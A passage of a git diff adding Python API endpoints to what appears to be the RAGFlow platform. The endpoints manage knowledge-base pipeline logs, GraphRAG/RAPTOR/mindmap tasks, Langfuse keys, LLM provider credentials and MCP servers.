Exception as e: + return server_error_response(e) + + +@router.post("/list_pipeline_dataset_logs") +async def list_pipeline_dataset_logs( + request: ListPipelineDatasetLogsRequest, + kb_id: str = Query(..., description="知识库ID"), + page: int = Query(0, description="页码"), + page_size: int = Query(0, description="每页大小"), + orderby: str = Query("create_time", description="排序字段"), + desc: bool = Query(True, description="是否降序"), + create_date_from: str = Query("", description="创建日期开始"), + create_date_to: str = Query("", description="创建日期结束"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + + page_number = page + items_per_page = page_size + + if create_date_to > create_date_from: + return get_data_error_result(message="Create data filter is abnormal.") + + operation_status = request.operation_status + if operation_status: + invalid_status = {s for s in operation_status if s not in VALID_TASK_STATUS} + if invalid_status: + return get_data_error_result(message=f"Invalid filter operation_status status conditions: {', '.join(invalid_status)}") + + try: + logs, tol = PipelineOperationLogService.get_dataset_logs_by_kb_id(kb_id, page_number, items_per_page, orderby, desc, operation_status, create_date_from, create_date_to) + return get_json_result(data={"total": tol, "logs": logs}) + except Exception as e: + return server_error_response(e) + + +@router.post("/delete_pipeline_logs") +async def delete_pipeline_logs( + request: DeletePipelineLogsRequest, + kb_id: str = Query(..., description="知识库ID"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + + log_ids = request.log_ids + + PipelineOperationLogService.delete_by_ids(log_ids) + + return get_json_result(data=True) + + +@router.get("/pipeline_log_detail") +async def pipeline_log_detail( + log_id: str = Query(..., description="日志ID"), + current_user = Depends(get_current_user) +): + if not log_id: + return get_json_result(data=False, message='Lack of "Pipeline log ID"', code=settings.RetCode.ARGUMENT_ERROR) + + ok, log = PipelineOperationLogService.get_by_id(log_id) + if not ok: + return get_data_error_result(message="Invalid pipeline log ID") + + return get_json_result(data=log.to_dict()) + + +@router.post("/run_graphrag") +async def run_graphrag( + request: RunGraphRAGRequest, + current_user = Depends(get_current_user) +): + kb_id = request.kb_id + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_error_data_result(message="Invalid Knowledgebase ID") + + task_id = kb.graphrag_task_id + if task_id: + ok, task = TaskService.get_by_id(task_id) + if not ok: + logging.warning(f"A valid GraphRAG task id is expected for kb {kb_id}") + + if task and task.progress not in [-1, 1]: + return get_error_data_result(message=f"Task {task_id} in progress with status {task.progress}. A Graph Task is already running.") + + documents, _ = DocumentService.get_by_kb_id( + kb_id=kb_id, + page_number=0, + items_per_page=0, + orderby="create_time", + desc=False, + keywords="", + run_status=[], + types=[], + suffix=[], + ) + if not documents: + return get_error_data_result(message=f"No documents in Knowledgebase {kb_id}") + + sample_document = documents[0] + document_ids = [document["id"] for document in documents] + + task_id = queue_raptor_o_graphrag_tasks(doc=sample_document, ty="graphrag", priority=0, fake_doc_id=GRAPH_RAPTOR_FAKE_DOC_ID, doc_ids=list(document_ids)) + + if not KnowledgebaseService.update_by_id(kb.id, {"graphrag_task_id": task_id}): + logging.warning(f"Cannot save graphrag_task_id for kb {kb_id}") + + return get_json_result(data={"graphrag_task_id": task_id}) + + +@router.get("/trace_graphrag") +async def trace_graphrag( + kb_id: str = Query(..., description="知识库ID"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_error_data_result(message="Invalid Knowledgebase ID") + + task_id = kb.graphrag_task_id + if not task_id: + return get_json_result(data={}) + + ok, task = TaskService.get_by_id(task_id) + if not ok: + return get_error_data_result(message="GraphRAG Task Not Found or Error Occurred") + + return get_json_result(data=task.to_dict()) + + +@router.post("/run_raptor") +async def run_raptor( + request: RunRaptorRequest, + current_user = Depends(get_current_user) +): + kb_id = request.kb_id + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_error_data_result(message="Invalid Knowledgebase ID") + + task_id = kb.raptor_task_id + if task_id: + ok, task = TaskService.get_by_id(task_id) + if not ok: + logging.warning(f"A valid RAPTOR task id is expected for kb {kb_id}") + + if task and task.progress not in [-1, 1]: + return get_error_data_result(message=f"Task {task_id} in progress with status {task.progress}. A RAPTOR Task is already running.") + + documents, _ = DocumentService.get_by_kb_id( + kb_id=kb_id, + page_number=0, + items_per_page=0, + orderby="create_time", + desc=False, + keywords="", + run_status=[], + types=[], + suffix=[], + ) + if not documents: + return get_error_data_result(message=f"No documents in Knowledgebase {kb_id}") + + sample_document = documents[0] + document_ids = [document["id"] for document in documents] + + task_id = queue_raptor_o_graphrag_tasks(doc=sample_document, ty="raptor", priority=0, fake_doc_id=GRAPH_RAPTOR_FAKE_DOC_ID, doc_ids=list(document_ids)) + + if not KnowledgebaseService.update_by_id(kb.id, {"raptor_task_id": task_id}): + logging.warning(f"Cannot save raptor_task_id for kb {kb_id}") + + return get_json_result(data={"raptor_task_id": task_id}) + + +@router.get("/trace_raptor") +async def trace_raptor( + kb_id: str = Query(..., description="知识库ID"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_error_data_result(message="Invalid Knowledgebase ID") + + task_id = kb.raptor_task_id + if not task_id: + return get_json_result(data={}) + + ok, task = TaskService.get_by_id(task_id) + if not ok: + return get_error_data_result(message="RAPTOR Task Not Found or Error Occurred") + + return get_json_result(data=task.to_dict()) + + +@router.post("/run_mindmap") +async def run_mindmap( + request: RunMindmapRequest, + current_user = Depends(get_current_user) +): + kb_id = request.kb_id + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_error_data_result(message="Invalid Knowledgebase ID") + + task_id = kb.mindmap_task_id + if task_id: + ok, task = TaskService.get_by_id(task_id) + if not ok: + logging.warning(f"A valid Mindmap task id is expected for kb {kb_id}") + + if task and task.progress not in [-1, 1]: + return get_error_data_result(message=f"Task {task_id} in progress with status {task.progress}. A Mindmap Task is already running.") + + documents, _ = DocumentService.get_by_kb_id( + kb_id=kb_id, + page_number=0, + items_per_page=0, + orderby="create_time", + desc=False, + keywords="", + run_status=[], + types=[], + suffix=[], + ) + if not documents: + return get_error_data_result(message=f"No documents in Knowledgebase {kb_id}") + + sample_document = documents[0] + document_ids = [document["id"] for document in documents] + + task_id = queue_raptor_o_graphrag_tasks(doc=sample_document, ty="mindmap", priority=0, fake_doc_id=GRAPH_RAPTOR_FAKE_DOC_ID, doc_ids=list(document_ids)) + + if not KnowledgebaseService.update_by_id(kb.id, {"mindmap_task_id": task_id}): + logging.warning(f"Cannot save mindmap_task_id for kb {kb_id}") + + return get_json_result(data={"mindmap_task_id": task_id}) + + +@router.get("/trace_mindmap") +async def trace_mindmap( + kb_id: str = Query(..., description="知识库ID"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_error_data_result(message="Invalid Knowledgebase ID") + + task_id = kb.mindmap_task_id + if not task_id: + return get_json_result(data={}) + + ok, task = TaskService.get_by_id(task_id) + if not ok: + return get_error_data_result(message="Mindmap Task Not Found or Error Occurred") + + return get_json_result(data=task.to_dict()) + + +@router.delete("/unbind_task") +async def delete_kb_task( + kb_id: str = Query(..., description="知识库ID"), + pipeline_task_type: str = Query(..., description="管道任务类型"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_error_data_result(message='Lack of "KB ID"') + ok, kb = KnowledgebaseService.get_by_id(kb_id) + if not ok: + return get_json_result(data=True) + if not pipeline_task_type or pipeline_task_type not in [PipelineTaskType.GRAPH_RAG, PipelineTaskType.RAPTOR, PipelineTaskType.MINDMAP]: + return get_error_data_result(message="Invalid task type") + + match pipeline_task_type: + case PipelineTaskType.GRAPH_RAG: + settings.docStoreConn.delete({"knowledge_graph_kwd": ["graph", "subgraph", "entity", "relation"]}, search.index_name(kb.tenant_id), kb_id) + kb_task_id = "graphrag_task_id" + kb_task_finish_at = "graphrag_task_finish_at" + case PipelineTaskType.RAPTOR: + kb_task_id = "raptor_task_id" + kb_task_finish_at = "raptor_task_finish_at" + case PipelineTaskType.MINDMAP: + kb_task_id = "mindmap_task_id" + kb_task_finish_at = "mindmap_task_finish_at" + case _: + return get_error_data_result(message="Internal Error: Invalid task type") + + ok = KnowledgebaseService.update_by_id(kb_id, {kb_task_id: "", kb_task_finish_at: None}) + if not ok: + return server_error_response(f"Internal error: cannot delete task {pipeline_task_type}") + + return get_json_result(data=True) diff --git a/api/apps/langfuse_app.py b/api/apps/langfuse_app.py new file mode 100644 index 0000000..151c40f --- /dev/null +++ b/api/apps/langfuse_app.py @@ -0,0 +1,97 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +from flask import request +from flask_login import current_user, login_required +from langfuse import Langfuse + +from api.db.db_models import DB +from api.db.services.langfuse_service import TenantLangfuseService +from api.utils.api_utils import get_error_data_result, get_json_result, server_error_response, validate_request + + +@manager.route("/api_key", methods=["POST", "PUT"]) # noqa: F821 +@login_required +@validate_request("secret_key", "public_key", "host") +def set_api_key(): + req = request.get_json() + secret_key = req.get("secret_key", "") + public_key = req.get("public_key", "") + host = req.get("host", "") + if not all([secret_key, public_key, host]): + return get_error_data_result(message="Missing required fields") + + langfuse_keys = dict( + tenant_id=current_user.id, + secret_key=secret_key, + public_key=public_key, + host=host, + ) + + langfuse = Langfuse(public_key=langfuse_keys["public_key"], secret_key=langfuse_keys["secret_key"], host=langfuse_keys["host"]) + if not langfuse.auth_check(): + return get_error_data_result(message="Invalid Langfuse keys") + + langfuse_entry = TenantLangfuseService.filter_by_tenant(tenant_id=current_user.id) + with DB.atomic(): + try: + if not langfuse_entry: + TenantLangfuseService.save(**langfuse_keys) + else: + TenantLangfuseService.update_by_tenant(tenant_id=current_user.id, langfuse_keys=langfuse_keys) + return get_json_result(data=langfuse_keys) + except Exception as e: + server_error_response(e) + + +@manager.route("/api_key", methods=["GET"]) # noqa: F821 +@login_required +@validate_request() +def get_api_key(): + langfuse_entry = TenantLangfuseService.filter_by_tenant_with_info(tenant_id=current_user.id) + if not langfuse_entry: + return get_json_result(message="Have not record any Langfuse keys.") + + langfuse = Langfuse(public_key=langfuse_entry["public_key"], secret_key=langfuse_entry["secret_key"], host=langfuse_entry["host"]) + try: + if not langfuse.auth_check(): + return get_error_data_result(message="Invalid Langfuse keys loaded") + except langfuse.api.core.api_error.ApiError as api_err: + return get_json_result(message=f"Error from Langfuse: {api_err}") + except Exception as e: + server_error_response(e) + + langfuse_entry["project_id"] = langfuse.api.projects.get().dict()["data"][0]["id"] + langfuse_entry["project_name"] = langfuse.api.projects.get().dict()["data"][0]["name"] + + return get_json_result(data=langfuse_entry) + + +@manager.route("/api_key", methods=["DELETE"]) # noqa: F821 +@login_required +@validate_request() +def delete_api_key(): + langfuse_entry = TenantLangfuseService.filter_by_tenant(tenant_id=current_user.id) + if not langfuse_entry: + return get_json_result(message="Have not record any Langfuse keys.") + + with DB.atomic(): + try: + TenantLangfuseService.delete_model(langfuse_entry) + return get_json_result(data=True) + except Exception as e: + server_error_response(e) diff --git a/api/apps/llm_app.py b/api/apps/llm_app.py new file mode 100644 index 0000000..1ef1c3e --- /dev/null +++ b/api/apps/llm_app.py @@ -0,0 +1,396 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import json +from flask import request +from flask_login import login_required, current_user +from api.db.services.tenant_llm_service import LLMFactoriesService, TenantLLMService +from api.db.services.llm_service import LLMService +from api import settings +from api.utils.api_utils import server_error_response, get_data_error_result, validate_request +from api.db import StatusEnum, LLMType +from api.db.db_models import TenantLLM +from api.utils.api_utils import get_json_result +from api.utils.base64_image import test_image +from rag.llm import EmbeddingModel, ChatModel, RerankModel, CvModel, TTSModel + + +@manager.route('/factories', methods=['GET']) # noqa: F821 +@login_required +def factories(): + try: + fac = LLMFactoriesService.get_all() + fac = [f.to_dict() for f in fac if f.name not in ["Youdao", "FastEmbed", "BAAI"]] + llms = LLMService.get_all() + mdl_types = {} + for m in llms: + if m.status != StatusEnum.VALID.value: + continue + if m.fid not in mdl_types: + mdl_types[m.fid] = set([]) + mdl_types[m.fid].add(m.model_type) + for f in fac: + f["model_types"] = list(mdl_types.get(f["name"], [LLMType.CHAT, LLMType.EMBEDDING, LLMType.RERANK, + LLMType.IMAGE2TEXT, LLMType.SPEECH2TEXT, LLMType.TTS])) + return get_json_result(data=fac) + except Exception as e: + return server_error_response(e) + + +@manager.route('/set_api_key', methods=['POST']) # noqa: F821 +@login_required +@validate_request("llm_factory", "api_key") +def set_api_key(): + req = request.json + # test if api key works + chat_passed, embd_passed, rerank_passed = False, False, False + factory = req["llm_factory"] + extra = {"provider": factory} + msg = "" + for llm in LLMService.query(fid=factory): + if not embd_passed and llm.model_type == LLMType.EMBEDDING.value: + assert factory in EmbeddingModel, f"Embedding model from {factory} is not supported yet." + mdl = EmbeddingModel[factory]( + req["api_key"], llm.llm_name, base_url=req.get("base_url")) + try: + arr, tc = mdl.encode(["Test if the api key is available"]) + if len(arr[0]) == 0: + raise Exception("Fail") + embd_passed = True + except Exception as e: + msg += f"\nFail to access embedding model({llm.llm_name}) using this api key." + str(e) + elif not chat_passed and llm.model_type == LLMType.CHAT.value: + assert factory in ChatModel, f"Chat model from {factory} is not supported yet." + mdl = ChatModel[factory]( + req["api_key"], llm.llm_name, base_url=req.get("base_url"), **extra) + try: + m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}], + {"temperature": 0.9, 'max_tokens': 50}) + if m.find("**ERROR**") >= 0: + raise Exception(m) + chat_passed = True + except Exception as e: + msg += f"\nFail to access model({llm.fid}/{llm.llm_name}) using this api key." + str( + e) + elif not rerank_passed and llm.model_type == LLMType.RERANK: + assert factory in RerankModel, f"Re-rank model from {factory} is not supported yet." + mdl = RerankModel[factory]( + req["api_key"], llm.llm_name, base_url=req.get("base_url")) + try: + arr, tc = mdl.similarity("What's the weather?", ["Is it sunny today?"]) + if len(arr) == 0 or tc == 0: + raise Exception("Fail") + rerank_passed = True + logging.debug(f'passed model rerank {llm.llm_name}') + except Exception as e: + msg += f"\nFail to access model({llm.fid}/{llm.llm_name}) using this api key." + str( + e) + if any([embd_passed, chat_passed, rerank_passed]): + msg = '' + break + + if msg: + return get_data_error_result(message=msg) + + llm_config = { + "api_key": req["api_key"], + "api_base": req.get("base_url", "") + } + for n in ["model_type", "llm_name"]: + if n in req: + llm_config[n] = req[n] + + for llm in LLMService.query(fid=factory): + llm_config["max_tokens"]=llm.max_tokens + if not TenantLLMService.filter_update( + [TenantLLM.tenant_id == current_user.id, + TenantLLM.llm_factory == factory, + TenantLLM.llm_name == llm.llm_name], + llm_config): + TenantLLMService.save( + tenant_id=current_user.id, + llm_factory=factory, + llm_name=llm.llm_name, + model_type=llm.model_type, + api_key=llm_config["api_key"], + api_base=llm_config["api_base"], + max_tokens=llm_config["max_tokens"] + ) + + return get_json_result(data=True) + + +@manager.route('/add_llm', methods=['POST']) # noqa: F821 +@login_required +@validate_request("llm_factory") +def add_llm(): + req = request.json + factory = req["llm_factory"] + api_key = req.get("api_key", "x") + llm_name = req.get("llm_name") + + def apikey_json(keys): + nonlocal req + return json.dumps({k: req.get(k, "") for k in keys}) + + if factory == "VolcEngine": + # For VolcEngine, due to its special authentication method + # Assemble ark_api_key endpoint_id into api_key + api_key = apikey_json(["ark_api_key", "endpoint_id"]) + + elif factory == "Tencent Hunyuan": + req["api_key"] = apikey_json(["hunyuan_sid", "hunyuan_sk"]) + return set_api_key() + + elif factory == "Tencent Cloud": + req["api_key"] = apikey_json(["tencent_cloud_sid", "tencent_cloud_sk"]) + return set_api_key() + + elif factory == "Bedrock": + # For Bedrock, due to its special authentication method + # Assemble bedrock_ak, bedrock_sk, bedrock_region + api_key = apikey_json(["bedrock_ak", "bedrock_sk", "bedrock_region"]) + + elif factory == "LocalAI": + llm_name += "___LocalAI" + + elif factory == "HuggingFace": + llm_name += "___HuggingFace" + + elif factory == "OpenAI-API-Compatible": + llm_name += "___OpenAI-API" + + elif factory == "VLLM": + llm_name += "___VLLM" + + elif factory == "XunFei Spark": + if req["model_type"] == "chat": + api_key = req.get("spark_api_password", "") + elif req["model_type"] == "tts": + api_key = apikey_json(["spark_app_id", "spark_api_secret", "spark_api_key"]) + + elif factory == "BaiduYiyan": + api_key = apikey_json(["yiyan_ak", "yiyan_sk"]) + + elif factory == "Fish Audio": + api_key = apikey_json(["fish_audio_ak", "fish_audio_refid"]) + + elif factory == "Google Cloud": + api_key = apikey_json(["google_project_id", "google_region", "google_service_account_key"]) + + elif factory == "Azure-OpenAI": + api_key = apikey_json(["api_key", "api_version"]) + + llm = { + "tenant_id": current_user.id, + "llm_factory": factory, + "model_type": req["model_type"], + "llm_name": llm_name, + "api_base": req.get("api_base", ""), + "api_key": api_key, + "max_tokens": req.get("max_tokens") + } + + msg = "" + mdl_nm = llm["llm_name"].split("___")[0] + extra = {"provider": factory} + if llm["model_type"] == LLMType.EMBEDDING.value: + assert factory in EmbeddingModel, f"Embedding model from {factory} is not supported yet." + mdl = EmbeddingModel[factory]( + key=llm['api_key'], + model_name=mdl_nm, + base_url=llm["api_base"]) + try: + arr, tc = mdl.encode(["Test if the api key is available"]) + if len(arr[0]) == 0: + raise Exception("Fail") + except Exception as e: + msg += f"\nFail to access embedding model({mdl_nm})." + str(e) + elif llm["model_type"] == LLMType.CHAT.value: + assert factory in ChatModel, f"Chat model from {factory} is not supported yet." + mdl = ChatModel[factory]( + key=llm['api_key'], + model_name=mdl_nm, + base_url=llm["api_base"], + **extra, + ) + try: + m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}], { + "temperature": 0.9}) + if not tc and m.find("**ERROR**:") >= 0: + raise Exception(m) + except Exception as e: + msg += f"\nFail to access model({factory}/{mdl_nm})." + str( + e) + elif llm["model_type"] == LLMType.RERANK: + assert factory in RerankModel, f"RE-rank model from {factory} is not supported yet." + try: + mdl = RerankModel[factory]( + key=llm["api_key"], + model_name=mdl_nm, + base_url=llm["api_base"] + ) + arr, tc = mdl.similarity("Hello~ RAGFlower!", ["Hi, there!", "Ohh, my friend!"]) + if len(arr) == 0: + raise Exception("Not known.") + except KeyError: + msg += f"{factory} dose not support this model({factory}/{mdl_nm})" + except Exception as e: + msg += f"\nFail to access model({factory}/{mdl_nm})." + str( + e) + elif llm["model_type"] == LLMType.IMAGE2TEXT.value: + assert factory in CvModel, f"Image to text model from {factory} is not supported yet." + mdl = CvModel[factory]( + key=llm["api_key"], + model_name=mdl_nm, + base_url=llm["api_base"] + ) + try: + image_data = test_image + m, tc = mdl.describe(image_data) + if not m and not tc: + raise Exception(m) + except Exception as e: + msg += f"\nFail to access model({factory}/{mdl_nm})." + str(e) + elif llm["model_type"] == LLMType.TTS: + assert factory in TTSModel, f"TTS model from {factory} is not supported yet." + mdl = TTSModel[factory]( + key=llm["api_key"], model_name=mdl_nm, base_url=llm["api_base"] + ) + try: + for resp in mdl.tts("Hello~ RAGFlower!"): + pass + except RuntimeError as e: + msg += f"\nFail to access model({factory}/{mdl_nm})." + str(e) + else: + # TODO: check other type of models + pass + + if msg: + return get_data_error_result(message=msg) + + if not TenantLLMService.filter_update( + [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == factory, + TenantLLM.llm_name == llm["llm_name"]], llm): + TenantLLMService.save(**llm) + + return get_json_result(data=True) + + +@manager.route('/delete_llm', methods=['POST']) # noqa: F821 +@login_required +@validate_request("llm_factory", "llm_name") +def delete_llm(): + req = request.json + TenantLLMService.filter_delete( + [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == req["llm_factory"], + TenantLLM.llm_name == req["llm_name"]]) + return get_json_result(data=True) + + +@manager.route('/delete_factory', methods=['POST']) # noqa: F821 +@login_required +@validate_request("llm_factory") +def delete_factory(): + req = request.json + TenantLLMService.filter_delete( + [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == req["llm_factory"]]) + return get_json_result(data=True) + + +@manager.route('/my_llms', methods=['GET']) # noqa: F821 +@login_required +def my_llms(): + try: + include_details = request.args.get('include_details', 'false').lower() == 'true' + + if include_details: + res = {} + objs = TenantLLMService.query(tenant_id=current_user.id) + factories = LLMFactoriesService.query(status=StatusEnum.VALID.value) + + for o in objs: + o_dict = o.to_dict() + factory_tags = None + for f in factories: + if f.name == o_dict["llm_factory"]: + factory_tags = f.tags + break + + if o_dict["llm_factory"] not in res: + res[o_dict["llm_factory"]] = { + "tags": factory_tags, + "llm": [] + } + + res[o_dict["llm_factory"]]["llm"].append({ + "type": o_dict["model_type"], + "name": o_dict["llm_name"], + "used_token": o_dict["used_tokens"], + "api_base": o_dict["api_base"] or "", + "max_tokens": o_dict["max_tokens"] or 8192 + }) + else: + res = {} + for o in TenantLLMService.get_my_llms(current_user.id): + if o["llm_factory"] not in res: + res[o["llm_factory"]] = { + "tags": o["tags"], + "llm": [] + } + res[o["llm_factory"]]["llm"].append({ + "type": o["model_type"], + "name": o["llm_name"], + "used_token": o["used_tokens"] + }) + + return get_json_result(data=res) + except Exception as e: + return server_error_response(e) + + +@manager.route('/list', methods=['GET']) # noqa: F821 +@login_required +def list_app(): + self_deployed = ["Youdao", "FastEmbed", "BAAI", "Ollama", "Xinference", "LocalAI", "LM-Studio", "GPUStack"] + weighted = ["Youdao", "FastEmbed", "BAAI"] if settings.LIGHTEN != 0 else [] + model_type = request.args.get("model_type") + try: + objs = TenantLLMService.query(tenant_id=current_user.id) + facts = set([o.to_dict()["llm_factory"] for o in objs if o.api_key]) + llms = LLMService.get_all() + llms = [m.to_dict() + for m in llms if m.status == StatusEnum.VALID.value and m.fid not in weighted] + for m in llms: + m["available"] = m["fid"] in facts or m["llm_name"].lower() == "flag-embedding" or m["fid"] in self_deployed + + llm_set = set([m["llm_name"] + "@" + m["fid"] for m in llms]) + for o in objs: + if o.llm_name + "@" + o.llm_factory in llm_set: + continue + llms.append({"llm_name": o.llm_name, "model_type": o.model_type, "fid": o.llm_factory, "available": True}) + + res = {} + for m in llms: + if model_type and m["model_type"].find(model_type) < 0: + continue + if m["fid"] not in res: + res[m["fid"]] = [] + res[m["fid"]].append(m) + + return get_json_result(data=res) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/mcp_server_app.py b/api/apps/mcp_server_app.py new file mode 100644 index 0000000..f992282 --- /dev/null +++ b/api/apps/mcp_server_app.py @@ -0,0 +1,444 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from flask import Response, request +from flask_login import current_user, login_required + +from api.db import VALID_MCP_SERVER_TYPES +from api.db.db_models import MCPServer +from api.db.services.mcp_server_service import MCPServerService +from api.db.services.user_service import TenantService +from api.settings import RetCode + +from api.utils import get_uuid +from api.utils.api_utils import get_data_error_result, get_json_result, server_error_response, validate_request, \ + get_mcp_tools +from api.utils.web_utils import get_float, safe_json_parse +from rag.utils.mcp_tool_call_conn import MCPToolCallSession, close_multiple_mcp_toolcall_sessions + + +@manager.route("/list", methods=["POST"]) # noqa: F821 +@login_required +def list_mcp() -> Response: + keywords = request.args.get("keywords", "") + page_number = int(request.args.get("page", 0)) + items_per_page = int(request.args.get("page_size", 0)) + orderby = request.args.get("orderby", "create_time") + if request.args.get("desc", "true").lower() == "false": + desc = False + else: + desc = True + + req = request.get_json() + mcp_ids = req.get("mcp_ids", []) + try: + servers = MCPServerService.get_servers(current_user.id, mcp_ids, 0, 0, orderby, desc, keywords) or [] + total = len(servers) + + if page_number and items_per_page: + servers = servers[(page_number - 1) * items_per_page : page_number * items_per_page] + + return get_json_result(data={"mcp_servers": servers, "total": total}) + except Exception as e: + return server_error_response(e) + + +@manager.route("/detail", methods=["GET"]) # noqa: F821 +@login_required +def detail() -> Response: + mcp_id = request.args["mcp_id"] + try: + mcp_server = MCPServerService.get_or_none(id=mcp_id, tenant_id=current_user.id) + + if mcp_server is None: + return get_json_result(code=RetCode.NOT_FOUND, data=None) + + return get_json_result(data=mcp_server.to_dict()) + except Exception as e: + return server_error_response(e) + + +@manager.route("/create", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("name", "url", "server_type") +def create() -> Response: + req = request.get_json() + + server_type = req.get("server_type", "") + if server_type not in VALID_MCP_SERVER_TYPES: + return get_data_error_result(message="Unsupported MCP server type.") + + server_name = req.get("name", "") + if not server_name or len(server_name.encode("utf-8")) > 255: + return get_data_error_result(message=f"Invalid MCP name or length is {len(server_name)} which is large than 255.") + + e, _ = MCPServerService.get_by_name_and_tenant(name=server_name, tenant_id=current_user.id) + if e: + return get_data_error_result(message="Duplicated MCP server name.") + + url = req.get("url", "") + if not url: + return get_data_error_result(message="Invalid url.") + + headers = safe_json_parse(req.get("headers", {})) + req["headers"] = headers + variables = safe_json_parse(req.get("variables", {})) + variables.pop("tools", None) + + timeout = get_float(req, "timeout", 10) + + try: + req["id"] = get_uuid() + req["tenant_id"] = current_user.id + + e, _ = TenantService.get_by_id(current_user.id) + if not e: + return get_data_error_result(message="Tenant not found.") + + mcp_server = MCPServer(id=server_name, name=server_name, url=url, server_type=server_type, variables=variables, headers=headers) + server_tools, err_message = get_mcp_tools([mcp_server], timeout) + if err_message: + return get_data_error_result(err_message) + + tools = server_tools[server_name] + tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool} + variables["tools"] = tools + req["variables"] = variables + + if not MCPServerService.insert(**req): + return get_data_error_result("Failed to create MCP server.") + + return get_json_result(data=req) + except Exception as e: + return server_error_response(e) + + +@manager.route("/update", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcp_id") +def update() -> Response: + req = request.get_json() + + mcp_id = req.get("mcp_id", "") + e, mcp_server = MCPServerService.get_by_id(mcp_id) + if not e or mcp_server.tenant_id != current_user.id: + return get_data_error_result(message=f"Cannot find MCP server {mcp_id} for user {current_user.id}") + + server_type = req.get("server_type", mcp_server.server_type) + if server_type and server_type not in VALID_MCP_SERVER_TYPES: + return get_data_error_result(message="Unsupported MCP server type.") + server_name = req.get("name", mcp_server.name) + if server_name and len(server_name.encode("utf-8")) > 255: + return get_data_error_result(message=f"Invalid MCP name or length is {len(server_name)} which is large than 255.") + url = req.get("url", mcp_server.url) + if not url: + return get_data_error_result(message="Invalid url.") + + headers = safe_json_parse(req.get("headers", mcp_server.headers)) + req["headers"] = headers + + variables = safe_json_parse(req.get("variables", mcp_server.variables)) + variables.pop("tools", None) + + timeout = get_float(req, "timeout", 10) + + try: + req["tenant_id"] = current_user.id + req.pop("mcp_id", None) + req["id"] = mcp_id + + mcp_server = MCPServer(id=server_name, name=server_name, url=url, server_type=server_type, variables=variables, headers=headers) + server_tools, err_message = get_mcp_tools([mcp_server], timeout) + if err_message: + return get_data_error_result(err_message) + + tools = server_tools[server_name] + tools = {tool["name"]: tool for tool in tools if isinstance(tool, dict) and "name" in tool} + variables["tools"] = tools + req["variables"] = variables + + if not MCPServerService.filter_update([MCPServer.id == mcp_id, MCPServer.tenant_id == current_user.id], req): + return get_data_error_result(message="Failed to updated MCP server.") + + e, updated_mcp = MCPServerService.get_by_id(req["id"]) + if not e: + return get_data_error_result(message="Failed to fetch updated MCP server.") + + return get_json_result(data=updated_mcp.to_dict()) + except Exception as e: + return server_error_response(e) + + +@manager.route("/rm", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcp_ids") +def rm() -> Response: + req = request.get_json() + mcp_ids = req.get("mcp_ids", []) + + try: + req["tenant_id"] = current_user.id + + if not MCPServerService.delete_by_ids(mcp_ids): + return get_data_error_result(message=f"Failed to delete MCP servers {mcp_ids}") + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route("/import", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("mcpServers") +def import_multiple() -> Response: + req = request.get_json() + servers = req.get("mcpServers", {}) + if not servers: + return get_data_error_result(message="No MCP servers provided.") + + timeout = get_float(req, "timeout", 10) + + results = [] + try: + for server_name, config in servers.items(): + if not all(key in config for key in {"type", "url"}): + results.append({"server": server_name, "success": False, "message": "Missing required fields (type or url)"}) + continue + + if not server_name or len(server_name.encode("utf-8")) > 255: + results.append({"server": server_name, "success": False, "message": f"Invalid MCP name or length is {len(server_name)} which is large than 255."}) + continue + + base_name = server_name + new_name = 